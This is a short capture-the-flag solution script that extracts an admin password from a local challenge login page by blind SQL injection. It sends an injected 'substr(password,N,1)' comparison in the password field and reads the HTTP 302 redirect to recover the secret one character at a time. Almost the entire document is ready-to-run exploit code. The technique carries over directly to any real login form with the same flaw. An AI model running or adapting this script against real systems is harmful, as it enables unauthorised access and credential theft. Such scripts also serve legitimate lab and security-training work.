Assembles the pwn key one character at the time.

pwn_spitter.py

import requests

url = 'http://challenge.localhost/'
password = ''
position = 1

characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!@#$%^&*()-=+[]\\|;:\'",.<>/?`~ '

while True:
    found_char = False
    for char in characters:
        injection = f'" or substr(password,{position},1)="{char}" -- '
        data = {
            'username': 'admin',
            'password': injection
        }
        response = requests.post(url, data=data, allow_redirects=False)
        if response.status_code == 302:
            password += char
            print(f"Found character {position}: {char}")
            position += 1
            found_char = True
            break
    if not found_char:
        print("Password extraction complete.")
        print(f"Flag: {password}")
        break